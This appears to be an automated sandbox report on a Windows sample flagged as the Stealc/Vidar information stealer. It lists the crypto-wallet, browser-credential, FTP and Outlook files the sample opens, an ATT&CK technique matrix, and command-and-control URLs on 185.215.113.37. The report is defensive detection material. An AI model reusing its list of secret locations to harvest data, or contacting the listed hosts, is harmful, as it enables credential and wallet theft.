Source: Yara match	File source: Process Memory Space: file.exe PID: 6544, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6544, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6544, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2075701252.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6544, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6544, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dllA#	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dllk#SL	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpom	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpl	17%	Virustotal		Browse
http://185.215.113.37.com	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllq	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/mozglue.dllo	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpq	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpwser	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/0d60be0de163924d/freebl3.dllA#	file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php-Y	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php%X	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	KJDGDBFBGIDGIEBGHCGI.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllk#SL	file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.2272100008.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpq	file.exe, 00000000.00000002.2272100008.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmp	true	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php3G	file.exe, 00000000.00000002.2272100008.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllq	file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpIX?M	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllo	file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300171325.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
